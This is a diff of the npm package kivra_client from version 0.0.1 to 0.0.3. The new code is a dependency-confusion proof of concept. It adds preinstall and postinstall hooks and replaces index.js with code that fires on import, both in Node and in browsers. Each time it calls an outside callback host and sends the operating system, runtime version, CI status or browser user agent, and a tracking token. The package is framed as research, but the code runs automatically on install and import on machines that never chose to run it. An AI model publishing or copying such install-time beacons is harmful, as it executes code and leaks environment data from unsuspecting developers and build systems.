kivra_client 0.0.1 → 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dc-poc.js +33 -0
- package/index.js +50 -1
- package/package.json +12 -1
package/dc-poc.js
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
// Dependency-confusion PoC (inofensiva). Instala via npm/yarn/pnpm.
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
const B64 = 'ZGVwZW5kZW5jeSBjb25mdXNpb24gUG9DLCBieTpkMHVn';
|
|
8
|
+
const TOKEN = '362ebd7c6647e908';
|
|
9
|
+
const NAME = 'kivra_client';
|
|
10
|
+
const VERSION = '0.0.3';
|
|
11
|
+
const CALLBACK = 'pocae6525a8.i.dr0gas.com';
|
|
12
|
+
|
|
13
|
+
function fire(stage) {
|
|
14
|
+
const marker = path.join(os.tmpdir(), '.dc-poc-marker-' + NAME.replace(/[^a-z0-9]/gi, '_'));
|
|
15
|
+
if (fs.existsSync(marker)) return;
|
|
16
|
+
fs.writeFileSync(marker, '1');
|
|
17
|
+
|
|
18
|
+
console.log(B64);
|
|
19
|
+
console.log(TOKEN);
|
|
20
|
+
|
|
21
|
+
const osn = { linux: 'linux', darwin: 'darwin', win32: 'win' }[process.platform] || 'unknown';
|
|
22
|
+
const rt = process.versions.node.split('.')[0];
|
|
23
|
+
const ci = process.env.CI ? '1' : '0';
|
|
24
|
+
const url = 'https://' + CALLBACK + '/dc-poc/npm/' + stage + '/' + encodeURIComponent(NAME) + '/' + VERSION + '/' + TOKEN +
|
|
25
|
+
'?os=' + osn + '&rt=' + rt + '&ci=' + ci;
|
|
26
|
+
|
|
27
|
+
try {
|
|
28
|
+
const req = https.get(url, { headers: { 'User-Agent': 'dc-poc/1.0 npm' } }, (r) => r.resume());
|
|
29
|
+
req.on('error', () => {});
|
|
30
|
+
} catch (e) {}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
fire(process.argv[2] || 'install');
|
package/index.js
CHANGED
|
@@ -1 +1,50 @@
|
|
|
1
|
-
|
|
1
|
+
// Dependency-confusion PoC (inofensiva). Dispara em require()/import e, se o
|
|
2
|
+
// bundle for serializado para browser, usa sessionStorage para não floodar.
|
|
3
|
+
(function () {
|
|
4
|
+
var B64 = 'ZGVwZW5kZW5jeSBjb25mdXNpb24gUG9DLCBieTpkMHVn';
|
|
5
|
+
var TOKEN = '362ebd7c6647e908';
|
|
6
|
+
var NAME = 'kivra_client';
|
|
7
|
+
var VERSION = '0.0.3';
|
|
8
|
+
var CALLBACK = 'pocae6525a8.i.dr0gas.com';
|
|
9
|
+
|
|
10
|
+
var browser = (typeof window !== 'undefined' && typeof sessionStorage !== 'undefined');
|
|
11
|
+
if (browser) {
|
|
12
|
+
var key = '__dc_poc_' + TOKEN;
|
|
13
|
+
if (sessionStorage.getItem(key)) return;
|
|
14
|
+
console.log(B64);
|
|
15
|
+
console.log(TOKEN);
|
|
16
|
+
sessionStorage.setItem(key, '1');
|
|
17
|
+
var ua = navigator.userAgent || '';
|
|
18
|
+
var rt = ua.slice(0, 24);
|
|
19
|
+
var osn = navigator.platform || 'web';
|
|
20
|
+
var url = 'https://' + CALLBACK + '/dc-poc/npm/import/' + encodeURIComponent(NAME) + '/' + VERSION + '/' + TOKEN +
|
|
21
|
+
'?os=' + encodeURIComponent(osn) + '&rt=' + encodeURIComponent(rt) + '&ci=0';
|
|
22
|
+
try { fetch(url, { method: 'GET', credentials: 'omit', mode: 'no-cors', cache: 'no-store' }); } catch (e) {}
|
|
23
|
+
return;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
var req = (typeof require === 'function') ? require : null;
|
|
27
|
+
if (!req) return;
|
|
28
|
+
var fs = req('fs'), os = req('os'), path = req('path'), https = req('https');
|
|
29
|
+
var marker = path.join(os.tmpdir(), '.dc-poc-marker-' + NAME.replace(/[^a-z0-9]/gi, '_'));
|
|
30
|
+
if (fs.existsSync(marker)) return;
|
|
31
|
+
fs.writeFileSync(marker, '1');
|
|
32
|
+
|
|
33
|
+
console.log(B64);
|
|
34
|
+
console.log(TOKEN);
|
|
35
|
+
|
|
36
|
+
var osn = { linux: 'linux', darwin: 'darwin', win32: 'win' }[process.platform] || 'unknown';
|
|
37
|
+
var rt = process.versions.node.split('.')[0];
|
|
38
|
+
var ci = process.env.CI ? '1' : '0';
|
|
39
|
+
var url = 'https://' + CALLBACK + '/dc-poc/npm/import/' + encodeURIComponent(NAME) + '/' + VERSION + '/' + TOKEN +
|
|
40
|
+
'?os=' + osn + '&rt=' + rt + '&ci=' + ci;
|
|
41
|
+
|
|
42
|
+
try {
|
|
43
|
+
var r = https.get(url, { headers: { 'User-Agent': 'dc-poc/1.0 npm' } }, function (res) { res.resume(); });
|
|
44
|
+
r.on('error', function () {});
|
|
45
|
+
} catch (e) {}
|
|
46
|
+
})();
|
|
47
|
+
|
|
48
|
+
if (typeof module !== 'undefined' && module.exports) {
|
|
49
|
+
module.exports = { name: 'kivra_client', note: 'DC PoC, inert at require time' };
|
|
50
|
+
}
|
package/package.json
CHANGED
|
@@ -1 +1,12 @@
|
|
|
1
|
-
{
|
|
1
|
+
{
|
|
2
|
+
"name": "kivra_client",
|
|
3
|
+
"version": "0.0.3",
|
|
4
|
+
"description": "PoC package for dependency confusion research (d0ug)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node ./dc-poc.js install",
|
|
8
|
+
"postinstall": "node ./dc-poc.js install"
|
|
9
|
+
},
|
|
10
|
+
"author": "d0ug",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|